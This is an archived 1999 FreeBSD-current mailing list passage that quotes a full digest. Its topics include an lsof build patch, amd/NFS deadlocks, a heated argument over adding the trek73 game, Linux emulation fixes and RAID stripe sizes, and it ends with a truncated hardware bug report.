<19991026201543.28773.rocketmail@web1405.mail.yahoo.com> Received: from [206.180.128.186] by web1405.mail.yahoo.com; Tue, 26 Oct 1999 13:15:43 PDT Date: Tue, 26 Oct 1999 13:15:43 -0700 (PDT) From: Matt STacker Subject: Re: current-digest V4 #679 To: current@FreeBSD.ORG MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --- current-digest wrote: > > current-digest Tuesday, October 26 1999 > Volume 04 : Number 679 > > > > In this issue: > Re: lsof broken > Nevermind! (Re: Info needed re: new userconfig > scripting and PnP) > [none] > Re: freefall hangs w/ nfs > Re: freefall hangs w/ nfs > ACPI project started in Japan > Re: pcm/ES1370 PCI soundcard problem > Re: [Call for review]: newsyslog - new option > Re: trek73 > Re: make world failing on current > Re: trek73 > Re: trek73 > Re: Info needed re: new userconfig scripting and PnP > Re: trek73 > Re: trek73 > Re: trek73 > Re: Anyone adding "support" for Athlons. > Re: linux emulation broken.. (solution) > Re: linux emulation broken.. (solution) > Newmidi updated (CS461x, GUS, pcm+midi, etc) > Re: freefall hangs w/ nfs > Re: AMRD (MegaRAID) BIOS rev another other questions > > ---------------------------------------------------------------------- > > Date: Mon, 25 Oct 1999 11:43:12 +0200 > From: Sheldon Hearn > Subject: Re: lsof broken > > On Sun, 24 Oct 1999 23:32:42 -0400, Chuck Robey > wrote: > > > It's broken trying to work with the name cache, > and dies because it can't > > find the name NCACHE. Where is this guy? > > I use the following patch to patches/patch-aa for > CURRENT. I've no idea > what this does to STABLE. > > Ciao, > Sheldon. > > Index: patches/patch-aa > =================================================================== > RCS file: > /home/ncvs/ports/sysutils/lsof/patches/patch-aa,v > retrieving revision 1.2 > diff -u -d -r1.2 patch-aa > - --- patch-aa 1997/02/04 08:30:22 1.2 > +++ patch-aa 1999/10/25 09:39:34 > @@ -1,6 +1,15 @@ > --- dialects/freebsd/machine.h.orig Fri Jan 17 > 23:15:41 1997 > +++ dialects/freebsd/machine.h Tue Feb 4 17:23:58 > 1997 > - -@@ -291,7 +291,7 @@ > +@@ -217,7 +217,7 @@ > + * cache whose cache and vnodes are linked by a > capability ID. > + */ > + > +-#define HASNCACHE 1 > ++/* #define HASNCACHE 1 */ > + #define HASNCAPID 1 > + > + > +@@ -355,7 +355,7 @@ > * (the one that its user logged on with) of the > lsof process. > */ > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of > the message > > ------------------------------ > > Date: Mon, 25 Oct 1999 06:37:44 -0500 (CDT) > From: Conrad Sabatier > Subject: Nevermind! (Re: Info needed re: new > userconfig scripting and PnP) > > OK, I've gotten a few private replies (thanks!), and > have also read > through several threads in the -current archives. I > think I've got > the picture now. Can't say I'm all that happy about > what I've read > (I mean, having to add to my web pages something to > the effect of > "you can disregard all of this information if you're > running > - -current"), but who am I to stand in the way of > progress, eh? :-) > > BTW, speaking of device IDs, if anyone needs the > info for the AWE 64 > "value" card, I'll be happy to provide whatever I > can. > - -- > Conrad Sabatier > http://members.home.net/conrads/ > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of > the message > > ------------------------------ > > Date: Mon, 25 Oct 1999 08:48:34 -0400 (EDT) > From: Dave Seaman > Subject: [none] > > help subscribe > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of > the message > > ------------------------------ > > Date: Mon, 25 Oct 1999 07:36:26 -0700 (PDT) > From: David Wolfskill > Subject: Re: freefall hangs w/ nfs > > >Date: Sun, 24 Oct 1999 00:42:12 -0700 (PDT) > >From: Matthew Dillon > > > It looks on the face of it that AMD is hanging. > Perhaps this is > > preventing the system from clearing out buffers > and causing lockups > > on other mounts. AMD could also be causing a > deadlock to occur in the > > buffer cache (for the same reason loopback > mounts can cause deadlocks). > > > The next time this happens, if the person > rebooting freefall can get > > a kernel dump (and have a corresponding debug > kernel) I may be able to > > track it down for sure. Fixing it is another > problem, though. Loopback > > deadlocks are a big problem under 3.x. > > In an environment where there is use of amd and NFS, > there is no need > for loopback NFS mounts. > > The reason is that in addition to its "classical" > role of simulating an > NFS mount, amd is also quite capable of simulating a > symlink. > > I ended up doing some of that as part of my first > exposure to FreeBSD > (when I started here at Whistle) because otherwise, > my desktop would > crash just about any time I tried to use "make". > > A (slightly re-formatted for legibility) example of > an amd map that > accomplishes the distinction is: > > /defaults sublink:=${key} > * > host!=shrimp;os==freebsd4;rhost:=shrimp;type:=nfs;\ > rfs:=/shrimp/tribe;fs:=${autodir}/shrimp/tribe;\ > opts:=vers=2,proto=udp,rw,intr,nosuid,grpid \ > host!=shrimp;os==freebsd3;rhost:=shrimp;type:=nfs;\ > rfs:=/shrimp/tribe;fs:=${autodir}/shrimp/tribe;\ > opts:=vers=2,proto=udp,rw,intr,nosuid,grpid \ > host!=shrimp;os!=freebsd3;rhost:=shrimp;type:=nfs;\ > rfs:=/shrimp/tribe;fs:=${autodir}/shrimp/tribe;\ > opts:=nfsv2,noconn,rw,intr,nosuid,grpid \ > host==shrimp;type:=link;fs:=/shrimp/tribe > > > The key notion is embodied in that last line -- if > the client is > "shrimp" (which happens to be the name of the > server), don't use NFS; > rather, fabricate a symlink. > > Yes, I realize that this doesn't fix the problem > that plagues loopback > NFS mounts; it avoids the issue instead. > > But sometimes it's appropriate to make things work, > even if it's not the > ideal solution. Making that judgement call is not > something I'm > prepared to do in this case; I'm presenting an > alternative that has > worked for me, in cases where I have made that call. > > Cheers, > david > - -- > David Wolfskill dhw@whistle.com UNIX System > Administrator > voice: (650) 577-7158 pager: (888) 347-0197 FAX: > (650) 372-5915 > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of > the message > > ------------------------------ > > Date: Mon, 25 Oct 1999 10:26:04 -0700 (PDT) > From: Matthew Dillon > Subject: Re: freefall hangs w/ nfs > > : > :>Date: Sun, 24 Oct 1999 00:42:12 -0700 (PDT) > :>From: Matthew Dillon > : > :> It looks on the face of it that AMD is > hanging. Perhaps this is > :> preventing the system from clearing out > buffers and causing lockups > :> on other mounts. AMD could also be causing a > deadlock to occur in the > :> buffer cache (for the same reason loopback > mounts can cause deadlocks). > : > :> The next time this happens, if the person > rebooting freefall can get > :> a kernel dump (and have a corresponding debug > kernel) I may be able to > :> track it down for sure. Fixing it is another > problem, though. Loopback > :> deadlocks are a big problem under 3.x. > : > :In an environment where there is use of amd and > NFS, there is no need > :for loopback NFS mounts. > > Actually, what I meant was that AMD itself is > equivalent to a loopback > mount, whether or not you make loopback mounts > through it. > > In looking at freefall a bit more, I don't quite > understand why amd is > being used at all. I would simply create a > /net/freefall/{c,d,g,x} > and mount /c, /d, /g, and /x there locally. > Then on hub and bento the > same paths would simply be NFS mounts. > > This would allow everyone's home directories to > be hard coded on all > machines to /net/freefall/blahblahblah. > > This is essentially what I did when we had > shell1 and shell2 during the > early days of BEST. > > -Matt > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of > the message > > ------------------------------ > > Date: Tue, 26 Oct 1999 02:49:32 +0900 > From: Mitsuru IWASAKI > Subject: ACPI project started in Japan > > Just FYI, > > We launched ACPI project in Japan today, but the > activities haven't > detailed yet in this project. We'd like to > contribute something from > this project to FreeBSD main stream developing some > sort of prototype > but don't want to make duplicated efforts anyway. So > please let us > know if you are doing something on ACPI. > Suggestions, questions and requests are very > appreciated. > Please see > http://www.jp.FreeBSD.org/acpi/ > For more info. > > Mr. watanabe, on behalf of the project :), made some > survey at > FreeBSDCon. Doug Rabson, Mike smith and Warner Losh > are interested in > this area, and already some code was written. We'd > like to keep > consulting and cooperating with them. > For the time being, we will make clean our > experimental ACPI device > deriver up, and may implement S5 Soft Off State > transition by ACPI. > > And, we are going to make this kind of project > report in English from > time to time. > # sorry for our poor English ;) > > Thanks! > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of > the message > > ------------------------------ > > Date: Mon, 25 Oct 1999 21:06:53 +0200 > From: Ollivier Robert > Subject: Re: pcm/ES1370 PCI soundcard problem > > According to Marc van Woerkom: > > device pcm0 at pci0 > > > > in the kernel configuration file. > > Try > > device pcm0 > - -- > Ollivier ROBERT -=- FreeBSD: The Power to Serve! -=- > roberto@keltia.freenix.fr > FreeBSD keltia.freenix.fr 4.0-CURRENT #74: Thu Sep > 9 00:20:51 CEST 1999 > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of > the message > > ------------------------------ > > Date: Mon, 25 Oct 1999 21:25:09 +0200 > From: Gary Jennejohn > Subject: Re: [Call for review]: newsyslog - new > option > > Hellmuth Michaelis writes: > >I've added a new option (-o directory) to newsyslog > to move the old logfiles > >into another directory than the original ones. > > > > works OK for me, although the English (Germish ?) in > the man page could use > some polishing. I only tested it using an absolute > path. > > - --- > Gary Jennejohn > Home - garyj@muc.de > Work - garyj@fkr.cpqcorp.net > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of > the message > > ------------------------------ > > Date: Mon, 25 Oct 1999 12:33:55 -0700 (PDT) > From: Kris Kennaway > Subject: Re: trek73 > > On Sat, 23 Oct 1999, Matthew Dillon wrote: > > > I found a copy of the C version of trek73 in > my Amiga archives. This > > is the trek73 originally written in HP-2000 > Basic that was rewritten > > by Dave Pare and Chris Williams in C and > seriously enhanced by a bunch > > of people including me in my early college > years circa 1985. > > > > I don't think any of the authors would mind if > it went into /usr/games, > > but tracking them down is close to impossible > since ucbvax no longer > > exists. If nobody knows different, I would > like to clean it up (fairly > > easy since it's already in C) and commit it > in. > > Is it worth worrying about trademark issues [1]? We > still have trek in the > base system, but adding a second version might wake > the lawyers. > > Kris > > [1] See boggle(6) > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of > the message > > ------------------------------ > > Date: Mon, 25 Oct 1999 21:37:06 +0200 > From: Ollivier Robert > Subject: Re: make world failing on current > > According to Dana Huggard: > > > /usr/src/gnu/lib/libgcc/../../../contrib/egcs/gcc/libgcc1.c > > *** Signal 12 > > You need to build and run a new kernel before. There > were some changes that > require that. You need to read all -current mails... > - -- > Ollivier ROBERT -=- FreeBSD: The Power to Serve! -=- > roberto@keltia.freenix.fr > FreeBSD keltia.freenix.fr 4.0-CURRENT #74: Thu Sep > 9 00:20:51 CEST 1999 > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of > the message > > ------------------------------ > > Date: Mon, 25 Oct 1999 15:21:00 -0500 (CDT) > From: Jim Bryant > Subject: Re: trek73 > > In reply: > > On Sat, 23 Oct 1999, Matthew Dillon wrote: > > > > > I found a copy of the C version of trek73 in > my Amiga archives. This > > > is the trek73 originally written in HP-2000 > Basic that was rewritten > > > by Dave Pare and Chris Williams in C and > seriously enhanced by a bunch > > > of people including me in my early college > years circa 1985. > > > > > > I don't think any of the authors would mind > if it went into /usr/games, > > > but tracking them down is close to > impossible since ucbvax no longer > > > exists. If nobody knows different, I would > like to clean it up (fairly > > > easy since it's already in C) and commit it > in. > > > > Is it worth worrying about trademark issues [1]? > We still have trek in the > > base system, but adding a second version might > wake the lawyers. > > > > Kris > > > > [1] See boggle(6) > > Gimme a break... If Paramount wanted to go after > "unauthorized" trek > paraphenalia, they have much larger fish to fry than > a CLASSIC > public-domain trek game distributed with a FREE > operating system that > tens or even hundreds of thousands of people have > played over a period > of nearly 30 years. > > I believe I have even heard Shatner himself in > interviews credit such > "unauthorized" things for keeping Trek alive in the > first place... If > it came out that Paramount ever tried litigation > over such things, > they would lose a LOT of fans, and the money in > their pockets! What > would come next? Sueing people at conventions for > getting the > uniforms wrong? > > The boggle(6) incident has probably cost it's > manufacturer lost sales, > because they played the incident like jerks. I > cheered when they were > named in the Toys-R-Us class-action lawsuit, because > they were such > jerks here. > > Bottom line: such games do not hurt the sales of any > commercial > product. Litigation against such games only hurt > the reputation of > the one bringing or threatening the litigation in > the first place, and > tends to make them look like assholes in the eyes of > the public. > > [1] See boggle(6), which by the way compiles fine > from the net(n) > distributions, plus all of the 4.4 distributions. > To hell with > Hasbro. The BSD game would have survived patent > infringement suit, it > was not an EXACT duplicate, it actually had > improvements over the dice > game. Improve a patented item, and you can do > anything you want. > > I cannot say that Paramount wouldn't do it, but I > can say that if it > did, it would detrimentally effect the entire Trek > sub-culture; and > they are perfectly aware of this fact, such things > have been mentioned > in interviews with the stars and producers in a > POSITIVE light time > and time again. > > I can probably arrange a statement from at least > three of the stars of > the original series to this effect. I may just do > that, maybe I can > get a statement from all of the surviving members of > the original > cast. The have made it clear in the past that they > credit their > ongoing fame to such underground paraphenalia. > > jim > - -- > All opinions expressed are mine, if you | "I > will not be pushed, stamped, > think otherwise, then go jump into turbid | > briefed, debriefed, indexed, or > radioactive waters and yell WAHOO !!! | > numbered!" - #1, "The Prisoner" > - > ------------------------------------------------------------------------------ > jbryant@tfs.net - KC5VDJ HF to 23cm grid: EM28pw - > http://www.tfs.net/~jbryant > - > ------------------------------------------------------------------------------ > IC-706MkII - IC-T81A - HTX-202 - HTX-212 - HTX-404 > - KPC3+ - PK-232MBX/DSP > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of > the message > > ------------------------------ > > Date: Mon, 25 Oct 1999 13:29:44 -0700 (PDT) > From: Kris Kennaway > Subject: Re: trek73 > > On Mon, 25 Oct 1999, Jim Bryant wrote: > > > "unauthorized" things for keeping Trek alive in > the first place... If > > it came out that Paramount ever tried litigation > over such things, > > they would lose a LOT of fans, and the money in > their pockets! What > > would come next? Sueing people at conventions for > getting the > > uniforms wrong? > > Or sueing fan websites, perhaps? > > > The boggle(6) incident has probably cost it's > manufacturer lost sales, > > because they played the incident like jerks. I > cheered when they were > > named in the Toys-R-Us class-action lawsuit, > because they were such > > jerks here. > > I doubt it. Most people who followed the debate on > FreeBSD-hackers > probably weren't likely to buy a copy of boggle > anyway. > > Kris > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of > the message > > ------------------------------ > > Date: Mon, 25 Oct 1999 17:37:06 +0100 > From: Nik Clayton > Subject: Re: Info needed re: new userconfig > scripting and PnP > > On Sun, Oct 24, 1999 at 02:10:03PM -0500, Conrad > Sabatier wrote: > > Someone just mailed me this heads up about my AWE > soundcard setup > > tutorial at > http://members.home.net/conrads/awepnp-freebsd.html. > > As this is the first I've heard about this, I'd > greatly appreciate it > > Conrad (and anyone else with tutorials like this). > > This could fit neatly under > doc/en_US.ISO_8859-1/articles/, if you'd > care to. That would get it in the CVS tree (for > ease of maintenance), > allow the translation teams to tackle it, and get it > mirrored on all > the FreeBSD mirrors around the world. > > Interested? > > N > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of > the message > > ------------------------------ > > Date: Mon, 25 Oct 1999 16:12:47 -0500 (CDT) > From: Jim Bryant > Subject: Re: trek73 > > In reply: > > > On Mon, 25 Oct 1999, Jim Bryant wrote: > > > > > > > "unauthorized" things for keeping Trek alive > in the first place... If > > > > it came out that Paramount ever tried > litigation over such things, > > > > they would lose a LOT of fans, and the money > in their pockets! What > > > > would come next? Sueing people at conventions > for getting the > > > > uniforms wrong? > > > > > > Or sueing fan websites, perhaps? > > > > Isn't this more or less precisely what happened > once X-Files became popular > > enough to not need them anymore? > > > > DS > > In case you haven't noticed... The current Trek > series' have an > ever-dwindling audience. The ONLY thing keeping > Voyager alive is > widely accepted to be the Borg chick with the > extremely fine hooters > and the pouty voice. > > Their litigation money would be better spent going > after those > unauthorized items that are commercial products, and > there is an > endless supply of those. > > If litigation was ever threatened over this CLASSIC > public-domain 27 > year old game, we can always dig up interviews with > the stars and > producers to back us up. All true Trekkies have > heard the interviews. > > Trek has always been an underground phenomenon. > This game has existed > in various forms since 1973, and has never been a > commercial product. > > Paramount would be hard-pressed to prove that they > have lost one dime > as a result of this game. Burdon of proof is on the > litigant. This > game in fact when put side by side with a modern > trek game in front of > a jury would only prove to a jury how frivilous and > petty such a suit > would be in the first place. > > The Trek sub-culture is unique. A universe without > money, where > prestige is based on accomplishment, and not what > family you were born > into or how big your bank accounts are. Ten or > fifteen years earlier, > and the right wing would have blackballed > Roddenberry as a commie. > > "Humans are capable of so much more than we yet > understand. We're > really something! Star Trek fans really believe > that, and so do I." > -- Gene Roddenberry > > jim > - -- > All opinions expressed are mine, if you | "I > will not be pushed, stamped, > think otherwise, then go jump into turbid | > briefed, debriefed, indexed, or > radioactive waters and yell WAHOO !!! | > numbered!" - #1, "The Prisoner" > - > ------------------------------------------------------------------------------ > jbryant@tfs.net - KC5VDJ HF to 23cm grid: EM28pw - > http://www.tfs.net/~jbryant > - > ------------------------------------------------------------------------------ > IC-706MkII - IC-T81A - HTX-202 - HTX-212 - HTX-404 > - KPC3+ - PK-232MBX/DSP > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of > the message > > ------------------------------ > > Date: Mon, 25 Oct 1999 17:30:40 -0400 (EDT) > From: Ben Rosengart > Subject: Re: trek73 > > You're talking as if litigious corporations follow > logic and common > sense. This is more the exception than the rule > IMO. > > Don't construe this as arguing against the inclusion > of trek73 ... I > think you're probably right that the risk is > minimal, but for different > reasons. > > - -- > Ben Rosengart > > UNIX Systems Engineer, Skunk Group > StarMedia Network, Inc. > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of > the message > > ------------------------------ > > Date: Mon, 25 Oct 1999 18:05:31 -0500 (CDT) > From: Jim Bryant > Subject: Re: trek73 > > In reply: > > On Mon, 25 Oct 1999, David Schwartz wrote: > > > > > > > "unauthorized" things for keeping Trek alive > in the first place... If > > > > > it came out that Paramount ever tried > litigation over such things, > > > > > they would lose a LOT of fans, and the money > in their pockets! What > > > > > would come next? Sueing people at > conventions for getting the > > > > > uniforms wrong? > > > > > > > > Or sueing fan websites, perhaps? > > > > > > Isn't this more or less precisely what happened > once X-Files > > > became popular enough to not need them anymore? > > > > Yup - but my point was that at around the time of > the debut of > > www.startrek.com, the Paramount lawyers went > on a spree, marking their > > territory by threatening high-profile fan sites. > Whether or not it's > > something which would stand up in court, it's > hassle the project could do > > without, and leaving aside the issue of whether > the existing trek(6) > > should remain I wouldn't want to tempt fate by > adding a second. > > > > Amusingly, Paramount are now claiming trademark on > the letter 'Q'. > > > > Kris > > They can threaten all they want. The risk of actual > action against > trek73 is infinitesimally small. Even an injuntion > would be extremely > hard to get because they have to prove that it would > hurt their > reputation or income to not get an injunction. This > game does > neither, and such an injunction would be > counter-productive. > > The questions are: Where on this planet will they > find a jury to take > their side? And, how bad will such hostile actions > on the part of > Paramount hurt their bottom line, knowing that their > audience is > extremely computer literate on the average, and that > a large > percentage of them have at least heard of the game > or similar > public-domain games. > > The answers, of course, are: Nowhere, and badly. > > You don't just up and insult the most loyal > following of any series in > history, and expect the fans not to take it > personally. > > Are they going to sue NBC for putting the episodes > of SNL with Star > Trek parodies into syndication? How about the > NUMEROUS other TV shows > that have parodied it? Or even suing comics who > parody the show? > Paramount has produced "official" fan pieces that > pride themselves on > such recognition. > > No matter what Lush Rimbaugh says on the topic, > frivilous lawsuits > RARELY win in court. A lawsuit over this would > indeed be frivilous. > > I'll now repeat the OLD joke: "Capt. Kirk is chasing > Klingons around > Uranus!"... Think they'll sue because I said that? > That joke is so > old that it has petrified. > > If they are actively threatening fan web-sites, it's > time for a > boycott of Paramount. Pissing off Trek fans would > be a monumental > mistake, there are an awful lot of us. > > I've pretty much made my position clear, but it's > not up to me, it's > up to -core. I say put trek73 in! With as many > Trek fans that use > open-source operating systems, a boycott > counter-threat might just > work. That includes boycotting sponsors. > > Scott me up, Beamie! This planet sucks! > > jim > - -- > All opinions expressed are mine, if you | "I > will not be pushed, stamped, > think otherwise, then go jump into turbid | > briefed, debriefed, indexed, or > radioactive waters and yell WAHOO !!! | > numbered!" - #1, "The Prisoner" > - > ------------------------------------------------------------------------------ > jbryant@tfs.net - KC5VDJ HF to 23cm grid: EM28pw - > http://www.tfs.net/~jbryant > - > ------------------------------------------------------------------------------ > IC-706MkII - IC-T81A - HTX-202 - HTX-212 - HTX-404 > - KPC3+ - PK-232MBX/DSP > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of > the message > > ------------------------------ > > Date: Mon, 25 Oct 1999 17:01:05 -0700 > From: "David O'Brien" > Subject: Re: Anyone adding "support" for Athlons. > > > I've not got an up to date version of gcc > available at the moment (will get > > -current over the weekend however and see how > things change) > > see /usr/ports/lang/egcs/ > > > (Not sure why we have two version of gas in the > source tree though ?) > > The first is our ELF linker, the second is our a.out > linker. > > > -rw-r--r-- 1 root wheel 43061 Sep 6 > 1998 > > /usr/src/contrib/binutils/include/opcode/i386.h > > > > -rw-r--r-- 1 root wheel 34662 Mar 29 > 1998 > > /usr/src/gnu/usr.bin/as/opcode/i386.h > > > But they don't yet seem to be in even the egcs cvs > tree. (well they > > weren't on Wednesday) > > the "egcs" tree (src/contrib/egcs/) is EGCS-1.1.2 > and is not being > updated. A newer compiler is in the works (and will > live elsewhere). > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of > the message > > ------------------------------ > > Date: Mon, 25 Oct 1999 20:22:16 -0500 > From: Chris Csanady > Subject: Re: linux emulation broken.. (solution) > > > I *know* someone else said it wasn't so, but just > 3 weeks ago I had this > > very problem, with word perfect, and it works just > fine now. Are you sure > > you have a really up to date linux_base port > installed? It was recently > > changed, a *lot* of new libs added, and I'd really > like an answer on this, > > whether I'm right or wrong. > > Well, I found a solution to my problems with running > linux-netscape and word > perfect. It looks like it was not the linux > emulation code that was at fault. > > I recently installed a real redhat 6.1, and mounted > it on /compat/linux. Now > all is well--so I can only assume it is some weird > interaction between the > linux_base port and my system. Maybe it is related > to using XFree86 3.9.15, > but I don't have the time to test that theory right > now. > > Certainly not a great solution, but if things are > broke for you this at least > works. > > Chris Csanady > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of > the message > > ------------------------------ > > Date: Mon, 25 Oct 1999 21:28:01 -0400 (EDT) > From: Chuck Robey > Subject: Re: linux emulation broken.. (solution) > > On Mon, 25 Oct 1999, Chris Csanady wrote: > > > > I *know* someone else said it wasn't so, but > just 3 weeks ago I had this > > > very problem, with word perfect, and it works > just fine now. Are you sure > > > you have a really up to date linux_base port > installed? It was recently > > > changed, a *lot* of new libs added, and I'd > really like an answer on this, > > > whether I'm right or wrong. > > > > Well, I found a solution to my problems with > running linux-netscape and word > > perfect. It looks like it was not the linux > emulation code that was at fault. > > > > I recently installed a real redhat 6.1, and > mounted it on /compat/linux. Now > > all is well--so I can only assume it is some weird > interaction between the > > linux_base port and my system. Maybe it is > related to using XFree86 3.9.15, > > but I don't have the time to test that theory > right now. > > > > Certainly not a great solution, but if things are > broke for you this at least > > works. > > No, like I said, when I *really* updated my Linux > libs (and the linux_base > port had very newly updated libs when I posted this) > my problems > evaporated, which is why I urged others to do it. I > don't know why it > didn't work for you, but at least it's done for you > now. > > > > > Chris Csanady > > > > - > ---------------------------------------------------------------------------- > Chuck Robey | Interests include C > programming, Electronics, > 213 Lakeside Dr. Apt. T-1 | communications, and > signal processing. > Greenbelt, MD 20770 | I run picnic.mat.net: > FreeBSD-current(i386) and > (301) 220-2114 | jaunt.mat.net : > FreeBSD-current(Alpha) > - > ---------------------------------------------------------------------------- > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of > the message > > ------------------------------ > > Date: Tue, 26 Oct 1999 13:52:58 +0900 > From: Seigo Tanimura > > Subject: Newmidi updated (CS461x, GUS, pcm+midi, > etc) > > After a long absense, newmidi now supports > CS461x/428x PCI Audio > and GUS midi, with some bug fix. Both pcm and midi > on an ISA PnP/ > PCI card now work(for SB/GUS/CS461x). Microtimeout > and APIC timer > patches are separated from newmidi. > > Please follow the document at: > > http://www.freebsd.org/~tanimura/newmidi/ > > to install newmidi. > > Thanks! > > > Seigo Tanimura > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of > the message > > ------------------------------ > > Date: Tue, 26 Oct 1999 12:10:57 +0400 > From: Dmitrij Tejblum > Subject: Re: freefall hangs w/ nfs > > Matthew Dillon wrote: > > Actually, what I meant was that AMD itself is > equivalent to a loopback > > mount, whether or not you make loopback mounts > through it. > > No. The loopback deadlock happen when the nfs server > handle a write > operation. But there cannot be any writes in the amd > filesystem. The > filesystem only contains symlinks to outside. > > Dima > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of > the message > > ------------------------------ > > Date: Tue, 26 Oct 1999 11:26:47 +0100 > From: Geoff Buckingham > Subject: Re: AMRD (MegaRAID) BIOS rev another other > questions > > On Sun, Oct 24, 1999 at 09:58:11AM -0600, Greg Lehey > wrote: > > > > Indeed. It's quite easy to put all cylinder > groups on a single > > spindle; I've seen reports of up to 80% > degradation under these > > circumstances. > > > > > Where sequential read/write performance is not > critical you can stripe at > > > cluster size to avoid this. Other wise using an > odd number of spindles for > > > a stripe and an even number for a RAID3 or RAID5 > or stripeing at an interval > > > which is not a power of two should work > (12,24,48,76 etc) > > > > The best I've heard of is 768 kB - 1 sector. This > works on Vinum, but > > it seems that most RAID controllers use a somewhat > simplistic striping > > algorithm. You might like to try 31 kB or such. > This won't make any > > difference with rawio, though. > > > > I would agree from experiance that 768 KB seems a > good selection for vinum > and probably ccd too > > - -- > GeoffB > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of > the message > > ------------------------------ > > End of current-digest V4 #679 > ***************************** > > ===== __________________________________________________ Do You Yahoo!? Bid and sell for free at http://auctions.yahoo.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 26 14:52: 4 1999 Delivered-To: freebsd-current@freebsd.org Received: from gw-nl4.philips.com (gw-nl4.philips.com [192.68.44.36]) by hub.freebsd.org (Postfix) with ESMTP id B4FD814CC5 for ; Tue, 26 Oct 1999 14:52:02 -0700 (PDT) (envelope-from Jos.Backus@nl.origin-it.com) Received: from smtprelay-nl1.philips.com (localhost.philips.com [127.0.0.1]) by gw-nl4.philips.com with ESMTP id XAA10094 for ; Tue, 26 Oct 1999 23:52:01 +0200 (MEST) (envelope-from Jos.Backus@nl.origin-it.com) Received: from smtprelay-eur1.philips.com(130.139.36.3) by gw-nl4.philips.com via mwrap (4.0a) id xma010092; Tue, 26 Oct 99 23:52:01 +0200 Received: from hal.mpn.cp.philips.com (hal.mpn.cp.philips.com [130.139.64.195]) by smtprelay-nl1.philips.com (8.9.3/8.8.5-1.2.2m-19990317) with SMTP id XAA02883 for ; Tue, 26 Oct 1999 23:52:00 +0200 (MET DST) Received: (qmail 3987 invoked by uid 666); 26 Oct 1999 21:52:22 -0000 Date: Tue, 26 Oct 1999 23:52:22 +0200 From: Jos Backus To: freebsd-current@FreeBSD.ORG Subject: Re: cleanup complete / trek73 Message-ID: <19991026235222.B3705@hal.mpn.cp.philips.com> Reply-To: Jos Backus References: <199910240822.BAA04463@mina.sr.hp.com> <199910261938.MAA20577@apollo.backplane.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: <199910261938.MAA20577@apollo.backplane.com>; from dillon@apollo.backplane.com on Tue, Oct 26, 1999 at 12:38:41PM -0700 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG May I humbly put in a plea for a cpdup port? Thanks :) Cheers, -- Jos Backus _/ _/_/_/ "Reliability means never _/ _/ _/ having to say you're sorry." _/ _/_/_/ -- D. J. Bernstein _/ _/ _/ _/ Jos.Backus@nl.origin-it.com _/_/ _/_/_/ use Std::Disclaimer; To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 26 15:54:26 1999 Delivered-To: freebsd-current@freebsd.org Received: from [132.197.97.45] (h132-197-97-45.gte.com [132.197.97.45]) by hub.freebsd.org (Postfix) with ESMTP id E851014C92 for ; Tue, 26 Oct 1999 15:54:22 -0700 (PDT) (envelope-from ak03@gte.com) Received: (from ak03@localhost) by [132.197.97.45] (8.9.3/8.9.3) id SAA00521 for freebsd-current@freebsd.org; Tue, 26 Oct 1999 18:54:19 -0400 (EDT) (envelope-from ak03) Message-ID: X-Mailer: XFMail 1.3.1 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 Date: Tue, 26 Oct 1999 18:54:19 -0400 (EDT) Organization: GTE Laboratories Inc. From: "Alexander N. Kabaev" To: freebsd-current@freebsd.org Subject: intpm0: Could not allocate Bus space Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Current (cvsupped and build today) fails to attach to the intpm0 device. The following is my dmesg message: Copyright (c) 1992-1999 The FreeBSD Project. Copyright (c) 1982, 1986, 1989, 1991, 1993 The Regents of the University of California. All rights reserved. FreeBSD 4.0-CURRENT #0: Tue Oct 26 11:31:29 EDT 1999 root@kanpc.gte.com:/usr/src/sys/compile/KANPC Timecounter "i8254" frequency 1193182 Hz CPU: Pentium II/Xeon/Celeron (398.27-MHz 686-class CPU) Origin = "GenuineIntel" Id = 0x651 Stepping = 1 Features=0x183f9ff real memory = 